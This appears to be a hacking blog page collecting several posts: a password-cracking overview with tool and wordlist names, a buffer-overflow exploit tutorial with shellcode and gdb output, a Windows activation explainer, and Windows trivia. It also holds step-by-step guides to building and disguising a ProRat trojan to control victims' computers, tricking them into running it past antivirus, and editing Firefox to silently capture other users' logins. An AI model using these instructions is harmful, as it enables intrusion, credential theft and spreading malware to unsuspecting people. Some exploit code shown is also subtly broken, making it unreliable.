A Brief Intro To Password Cracking

A Brief Intro To Password Cracking

What is Password Cracking?

Password cracking is the process of recovering passwords from data that has been stored in or transmitted by a computer system.The purpose of password cracking might be to help a user recover a forgotten password , to gain unauthorized access to a system, or as a preventive measure by system administrators to check for easily crackable passwords.

What are the Common Methods?

1. Guessing

Easy Passwords can be sometimes guessed by people. These include most common passwords like The persons name, D.O.B, QWERTY, 123456, etc.

2. Bruteforcing

Many password cracker use this method to crack passwords. This method involves a software repeatedly trying out different combinations for logging into the system (or account).

3. Dictionary Attack

This method involves use of long lists of commonly used password lists or Username:Password combos or Wordlists for assisting Bruteforce. The software uses the data provided in this Sheet (text) to login to the system.

4. Social Engineering

This method involves interaction with the slave (or so told yet to be slave). In this method the Hacker asks the person many questions casually in a mindset to make him blurt out his password or atleast give a clue of it.


Suggestions to Prevent your password from getting cracked

* Using Alphabets , Numerals , Symbols in your passwords.
* Encrypting your passwords with Hashes like MD5.
* Installing a Captcha to stop bots.

These are a just few common methods.

Tools Required to Crack Passwords

Password Cracking Softwares:

• Brutus (Bruteforcer)
• John the Ripper (Bruteforcer)
• Aircrack (Wifi-WEP/WPA Cracking Tool)
• Cain and Abel (All In One)
• THC Hydra (Bruteforcer)
• L0phtcrack (Hash Cracker)
• Airsnort (WEP Encryption Cracking Tool)
• Solarwinds (Traffic Monitoring)
• PwDump (Windows Password Recovery Tool)
• Rainbow Crack (Hash Cracker)
  

Ultimate Password List (Dictionary)

• Rockyou (Most Preferred)
• PHPbb
• Myspace
• Hak5
• Hotmail
• Faith Writers
• Elite Hackers
• 500 Worst Passwords
  

Enjoy.......

Read More

What Is Buffer Overflow Attack (TUT)

What Is Buffer Overflow Attack (TUT)

A Buffer Overflow is a flaw by which a program reacts abnormally when the memory buffers are overloaded, hence writing over adjacent memory. It can be triggered by using inputs that may alter the way a program operates,for example inputting a very large value in a c program which does integer based addition.

A buffer overflow can lead to program crash, memory access error, garbage outputs & worse, breach of system security. Probably, you might have seen prominent buffer overflow based exploits & attacks in Metaspl0it or any other spl0it framework. Why I am writing this ? well..I found an excellent article on buffer overflow by eXeCuTeR & thought you might wanna have a look at it. Its exlplained in quite easy language with very basic example.
read & learn..

Our vuln program:

---------- bof.c --------------

#include
#include

int main(int argc, char *argv[])
{
char str[10];
strcpy(str, argv[1]);
printf("Done");

return 0;
}

---------- bof.c --------------

As you see, argv[1] is copied to str (str can contains 10 characters)
Try to think - What happens when we load more than 10 bytes on str? You'll see.

Lets try compile the program and load 12 bytes:

niv@niv-desktop:~/Desktop$ gcc-3.3 bof.c -o bof
niv@niv-desktop:~/Desktop$ ./bof `perl -e 'print "A"x12'`
Doneniv@niv-desktop:~/Desktop$


The program has been successfully compiled even though we loaded 12 bytes, which means 12 bytes aren't enough to overflow the program.


Lets try to overflow the program with 14 bytes:

niv@niv-desktop:~/Desktop$ ./bof `perl -e 'print "A"x14'`
Doneniv@niv-desktop:~/Desktop$


Failed. Again.

Lets load 32 bytes this time:

niv@niv-desktop:~/Desktop$ ./bof `perl -e 'print "A"x32'`
Segmentation fault (core dumped)
niv@niv-desktop:~/Desktop$

In case it says: /*** stack smashing detected ***/ or something that appears to be like this error, just go to the terminal, type: sudo apt-get install gcc-3.3 and when compiling it type gcc-3.3 example.c -o example instead of gcc example.c -o example.

We made it, we overflowed the program.

Now we'll check more further what exactly happend:

niv@niv-desktop:~/Desktop$ gdb -c core ./bof
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
/home/niv/Desktop/core: No such file or directory.
(gdb) run `perl -e 'print "A"x60'`
Starting program: /home/niv/Desktop/bof `perl -e 'print "A"x32'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r eip
eip 0x41414141 0x41414141



We overwrited the EIP with A's (A = 41 in hex) - The EIP is the Instructor Pointer, it points at the next instruction.

Now we can start writing our exploit.
Our exploit is gonna contain the NOPSLED + Shellcode + the address of the shellcode (the RET).
The NOPSLED is a chain of 0x90's (NOPSLED = NO OPeration) so the NOPSLED will be placed before our shellcode.
The NOPSLED helps us so we don't have to jump exactly to the place in memory where our shellcode begins.

---------- exploit.c --------------
#include
#include

char exploit[2048];

int main(void)
{
int i;
/*
* (linux/x86) eject cd-rom (follows "/dev/cdrom" symlink) + exit() - 40 bytes
* - izik
*/
char shellcode[] =
"\x6a\x05" // push $0x5
"\x58" // pop %eax
"\x31\xc9" // xor %ecx,%ecx
"\x51" // push %ecx
"\xb5\x08" // mov $0x8,%ch
"\x68\x64\x72\x6f\x6d" // push $0x6d6f7264
"\x68\x65\x76\x2f\x63" // push $0x632f7665
"\x68\x2f\x2f\x2f\x64" // push $0x642f2f2f
"\x89\xe3" // mov %esp,%ebx
"\xcd\x80" // int $0x80
"\x89\xc3" // mov %eax,%ebx
"\xb0\x36" // mov $0x36,%al
"\x66\xb9\x09\x53" // mov $0x5309,%cx
"\xcd\x80" // int $0x80
"\x40" // inc %eax
"\xcd\x80"; // int $0x80

for(i = 0; i < 512; i++)
strcat(exploit, "0x90");

strcat(exploit, shellcode);

printf("Loaded.\n");

return 0;
}
---------- exploit.c --------------

niv@niv-desktop:~/Desktop$ gcc-3.3 exploit.c -o exploit
niv@niv-desktop:~/Desktop$ ./exploit
Loaded.


Run our vuln program so we could find the RET, the address of our shellcode.
After we run it, we'll look for the ESP - the ESP points on the last element used on the stack.
Check this out:

niv@niv-desktop:~/Desktop$ gcc-3.3 exploit.c -o exploit
niv@niv-desktop:~/Desktop$ ./exploit
Loaded.
niv@niv-desktop:~/Desktop$ ./bof `perl -e 'print "A"x60'`
Segmentation fault (core dumped)
niv@niv-desktop:~/Desktop$ gdb -c core ./bof
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
/home/niv/Desktop/core: No such file or directory.
(gdb) run `perl -e 'print "A"x60'`
Starting program: /home/niv/Desktop/bof `perl -e 'print "A"x60'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/s $esp


You're gonna get these things:

0xbf949694: "`???}_???o??\002"
(gdb)
0xbf9496a2: ""


etc'...
Keep searching until you see something like this thing:

0xbf9496e0:"7?\224?J?\224?U?\224?i?\224?y?\224??\224?\002?\224?\024?\224?*?\224?3?\224???\224??\224?\v?\224?\030?\224?N?\224?Y?\224?q?\224???\224??\224???\224???\224?\025?\224?&?\224?;?\224?D?\224?W?\224?n?\224?v?\224?\205?\224???\224???\224?\024?\224?P?\224?p?\224?}?\224?\212?\224???\224??\224?"


0xbf9496e0 is the address of our shellcode (the RET)
To make our exploit work properly, we need to overwrite the EIP with our shellcode.We'll take our old address (0xbf9496e0) and do this thing:

Take our address and make it look this way: bf 94 96 e0
Grab the last bytes (e0) and do the following:
we'll block the characters between \'s (slashes), add x in each block -> \xe0\
you'll do the same to each 2 chars and then put them in order that the last bytes of our the address will be the first one in our new address:

0xbf9496e0 -> \xe0\x96\x94\xbf


Now, we are gonna reach our shellcode this way:
Since we overflowed the program with 32 bytes (32 A's),
and our RET's length is 4 bytes we are gonna subtract the length of our shellcode address(the RET) of the A's,
and we are gonna print 28 A's (32 A's - 4 bytes (RET's length) = 28) and the RET so we could reach the shellcode successfully.

niv@niv-desktop:~/Desktop$ ./bof `perl -e 'print "A"x28'``printf
"\xbf\x94\x96\xe0"`


I suppose you already understood what's about to happen if you have read the exploit :)

Enjoy.......

Read More

How Windows Product Activation Works

How Windows Product Activation Works

Windows Product Activation or WPA is a license validation procedure introduced by Microsoft Corporation in all versions of it’s Windows operating system. WPA was first introduced in Windows XP and continues to exist in Windows Server 2003, Windows Vista, Windows Server 2008 and Windows 7 as well.


WPA enforces each end user to activate their copy of Windows so as to prevent unauthorized usage beyond the specific period of time until it is verified as genuine by Microsoft. How WPA really works was a closely guarded secret until GmbH analyzed WPA using a copy of Windows XP RC1 and published a paper on their findings.

In this post you will find answers to some of the most frequently asked questions about Windows Product Activation.

Why activation?

Microsoft’s intention behind the activation is to limit the usage of it’s Windows operating system to only one machine for which the retail license is issued. Any other computer which runs on the same license must be disallowed from using the software. Thus WPA demands for activation of the product within 30 days of it’s installation so as to ensure that it is genuine.

What does “Genuine Windows” means?

The copy of Windows is said to be genuine only if the product key used during the installation is genuine. It means that a given product key (retail license) must be used to install Windows only on one computer for which the license was purchased. Thus if the same key is used for the installation on another computer, then it is said to be a pirated copy.

Exactly what information is transmitted during the activation?

When you activate your copy of Windows you are transmitting an Installation ID code to the Microsoft either by phone or Internet depending on the method you choose to activate. Based on this, the Microsoft’s licensing system can determine whether or not the installed OS is genuine. If it is said to be genuine, then the system will receive the Activation ID which completes the activation process. If the activation is done via telephone then the Activation ID needs to be entered manually to complete the activation process.

What information does the Installation ID contain?

This Installation ID is a 50-digit number which is derived from the following two data.

1. Product ID – It is actually derived from the 25-digit product key (the alphanumeric value that is printed on the sticker over the Windows CD/DVD case) that is entered during the installation of the operating system. The Product ID is used to uniquely identify your copy of Windows.

2. Hardware ID – This value is derived based on the hardware configuration of your computer.

The WPA system checks the following 10 categories of the computer hardware to derive the Hardware ID:

* Display Adapter
* SCSI Adapter
* IDE Adapter (effectively the motherboard)
* Network Adapter (NIC) and its MAC Address
* RAM Amount Range (i.e., 0-64mb, 64-128mb, etc.)
* Processor Type
* Processor Serial Number
* Hard Drive Device
* Hard Drive Volume Serial Number (VSN)
* CD-ROM / CD-RW / DVD-ROM

Thus the Installation ID which is a combination of Product ID and Hardware ID is finally derived and sent to Microsoft during the activation process.

How is the Installation ID validated?

The Installation ID needs to be validated to confirm the authenticity of the installed copy of Windows. So after the Installation ID is received by Microsoft, it is decoded back so as to obtain the actual product key and the hardware details of the computer involved in the activation process.

The Microsoft’s system will now look to see if this is the first time the product key is being used for the activation. This happens when the user is trying to activate his Windows for the first time after purchase. If this is the case then the Installation ID is validated and the corresponding Activation ID is issued which completes the activation process.

However Microsoft system will now associate this product key with the hardware ID of the computer and stores this information on their servers. In simple words, during the first use of the product key, it is paired together with the Hardware ID and this information is stored up on the Microsoft servers.

What if a computer running a pirated copy of Windows attempts to activate?

The activation fails whenever the copy of Windows installed is not said to be genuine. This usually happens when the product key used for the installation is said to have been used earlier on a different computer. This is determined during the activation process as follows:

During the validation of the Installation ID, the Microsoft’s system checks to see if the same product key was used in any of the previous activation processes. If yes then it looks to see the Hardware ID associated with it. The computer running a pirated copy of Windows will obviously have a different hardware configuration and hence the Hardware ID will mismatch. In this case the activation process will fail.

Thus for a successful activation, either of the following two cases must be satisfied:

1. The product key must have been used for the first time. ie: The product key should not have been used for earlier activations on any other computer.

2. If the product key is said to have been used earlier, then the Hardware ID should match. This happens only if the same computer for which the license was genuinely purchased is attempting for subsequent activation.

What about formatting the hard disk?

Each time the hard disk is reformatted and Windows is re-installed, it needs to be re-activated. However the activation process will be completed smoothly since the same computer is attempting for subsequent activation. In this case both the product key and the Hardware ID will match and hence the activation becomes successful.

What is I upgrade or make changes to my hardware?

In the above mentioned 10 categories of hardware, at least 7 should be the same. Thus you are allowed to make changes to not more than 3 categories of hardware. If you make too many changes then your activation will fail. In this case, it is necessary to contact the customer service representative via phone and explain about your problem. If he is convinced he may re-issue a new product key for your computer using which you can re-activate your Windows.

Some things WPA does not do

* WPA does not send any personal information at all about you to Microsoft. There is still an option to register the product with Microsoft, but that is separate and entirely voluntary.
* If you prefer to activate via phone, you are not required to give any personal information to Microsoft.
* WPA does not provide a means for Microsoft to turn off your machine or damage your data/hardware. (Nor do they even have access to your data). This is a common myth that many people have about Microsoft products.
* WPA is not a “lease” system requiring more payments after two years or any other period. You may use the product as licensed in perpetuity.

Enjoy.......

Read More

Hack any e-mail account password

Hack any e-mail account password

1) First of all Download ProRat

Once it is downloaded right click on the folder and choose to extract it. A password prompt will come up. The password will be "pro".

2) Open up the program. You should see the following:

3) Next we will create the ProRat Trojan server. Click on the "Create" button in the bottom. Choose "Create ProRat Server".

4) Next put in your IP address so the server could connect to you. If you don’t know your IP address click on the little arrow to have it filled in for you automatically. Next put in your e-mail so that when and if a victim gets infected it will send you a message. We will not be using the rest of the options.

5) Now Open General settings. This tab is the most important tab. In the check boxes, we will choose the server port the program will connect through, the password you will be asked to enter when the victim is infected and you wish to connect with them, and the victim name. As you can see ProRat has the ability to disable the windows firewall and hide itself from being displayed in the task manager.

Here is a quick overview of what they mean and which should be checked:

6) Click on the Bind with File button to continue. Here you will have the option to bind the trojan server file with another file. Remember a trojan can only be executed if a human runs it. So by binding it with a legitimate file like a text document or a game, the chances of someone clicking it go up. Check the bind option and select a file to bind it to. A good suggestion is a picture or an ordinary text document because that is a small file and its easier to send to the people you need.

7) Click on the Server Extensions button to continue. Here you choose what kind of server file to generate. I prefer using .exe files, because it is cryptable and has icon support, but exe’s looks suspicious so it would be smart to change it.

8) Click on Server Icon to continue. Here you will choose an icon for your server file to have. The icons help mask what the file actually is. For my example I will choose the regular text document icon since my file is a text document.

9) After this, press Create server, your server will be in the same folder as ProRat. A new file with name "binded_server" will be created. Rename this file to something describing the picture. A hacker could also put it up as a torrent pretending it is something else, like the latest game that just came out so he could get people to download it.

Very important: Do not open the "binded_server" file on your system.

10) You can send this trojan server via email, pendrive or if you have physical access to the system, go and run the file. You can not send this file via email as "server.exe", because it will be detected as trojan or virus. Password protect this file with ZIP and then email it. Once your victim download this ZIP file, ask him to unlock it using ZIP password. When the victim will double click on the file, he will be in your control.

11) Now, I will show you what happens when a victim installs the server onto his computer and what the hacker could do next.

Once the victim runs the server on his computer, the trojan will be installed onto his computer in the background. The hacker would then get a message telling him that the victim was infected. He would then connect to his computer by typing in his IP address, port and clicking Connect. He will be asked for the password that he made when he created the server. Once he types it in, he will be connected to the victims computer and have full control over it.

12) Now the hacker has a lot of options to choose from as you can see on the right. He has access to all victim's computer files, he can shut down his pc, get all the saved passwords off his computer, send a message to his computer, format his whole hard drive, take a screen shot of his computer, and so much more. Below I’ll show you a few examples.

13) The image below shows the message that the victim would get on his screen if the hacker chose to message him.

14) Below is an image of the victims task bar after the hacker clicks on Hide Start Button.

15) Below is an image of what the hacker would see if he chose to take a screen shot of the victims screen.

As you saw in the above example, a hacker can do a lot of silly things or a lot of damage to the victim. ProRat is a very well known trojan so if the victim has an anti-virus program installed he most likely won’t get infected. Many skilled hackers can program their own viruses and Trojans that can easily bypass anti-virus programs.

Do you have questions, comments, or suggestions? Feel free to post a comment!

Enjoy.......

Read More

Hack Firefox To Auto Save Passwords Without Notification

Hack Firefox To Auto Save Passwords Without Notification

Hi all users,

Here is a short tutorial on how to get firefox to save usernames + passwords automatically with any notifications (Sort of like a keylogger) just by editing 1 of the javascript files.



ideal if you want to get someones login details who uses your computer.

1) First you need to close firefox.


2) Now locate the nsloginmanagerprompter.js which is normally found in
C:\ProgramFiles\MozillaFirefox\Components\


3) Open nsloginmanagerprompter.js with notepad ++


4) Replace the entire line 804 to 869 with the following code

var pwmgr = this._pwmgr;
pwmgr.addLogin(aLogin);

When you've done that "save as" to your desktop, then drag back in to the original folder and replace the file.

Now your done go into firefox and try it out.. Smile

To see the usernames + passwords you need to click on tools at the top of your browser and go to page info then security.

They will be saved into the saved passwords section.

Enjoy.......

Read More

See The Passwords Behind Asterisk !

See The Passwords Behind Asterisk !

Hello all users,

I am going to show you in a short tutorial how to read out a password of a web browser.

Example:

http://www.gmail.com

Username: example@gmail.com
Password: **

What's my password?

Alright, now you could read out the *** stuff with a simple javascript code.

javascript:(function(){var s,F,j,f,i; s = ""; F = document.forms; for(j=0; j

All you need is to copy & paste it in the URL-address bar.

Enjoy.......

Read More

Windows Unsolved Mysteries

Windows Unsolved Mysteries

Hi users, today we will share a few cool and mysterious things. Hope you all like this article . Here are some of the unsolved mysterious things involving the worlds most used OS "Windows" .One day i got a mail stating that......

Nobody can create a FOLDER anywhere on the computer which can be named as “CON”.This is something pretty cool…and unbelievable… At Microsoft the whole Team, including Bill Gates, couldn’t answer why this happened!

This is not the first time I listen about this funny question that "why we can't create a folder with name 'CON' , and I’m sure most of you also try to make folder "CON" just now after reading the title of article ! if no,then go and 1st try it .... If you try creating a folder named CON, as the mail claims, it’ll get renamed automatically to New Folder. But there is no mystery behind this, and the team at Microsoft very well knows the reason for this. :-)

Why is it not possible to create a folder named CON ?

Before we proceed further, let us tell you a small secret you can’t even create a folder named PRN, AUX, NUL and many others.

The reason you can’t create a folder with these names is because these are reserved keywords used by DOS. The below screen-shot taken from Microsoft’s website shows a list of reserved keywords in DOS.

If you try creating a folder with any of these names, the name automatically changes back to the default “New Folder”. And this is what has caused the confusion. Instead of automatically renaming the folder, had an explanatory warning message popped up.


Here are Some of the Other Mysteries

1.Go to notepad and type Bush hid the facts. After which, save your work anywhere
with any name and close notepad. Then re-open notepad and open your previously
saved file and look what appears.

2.Open Microsoft Word then type: =rand (200, 99) and press ENTER. By now
I bet you’re seeing something strange that not even Bill Gates and his team can explain.

Bush trying these things… haha

Are these things telling us something, or are they just bugs of the old tycoon named Windows?

Enjoy.......

Read More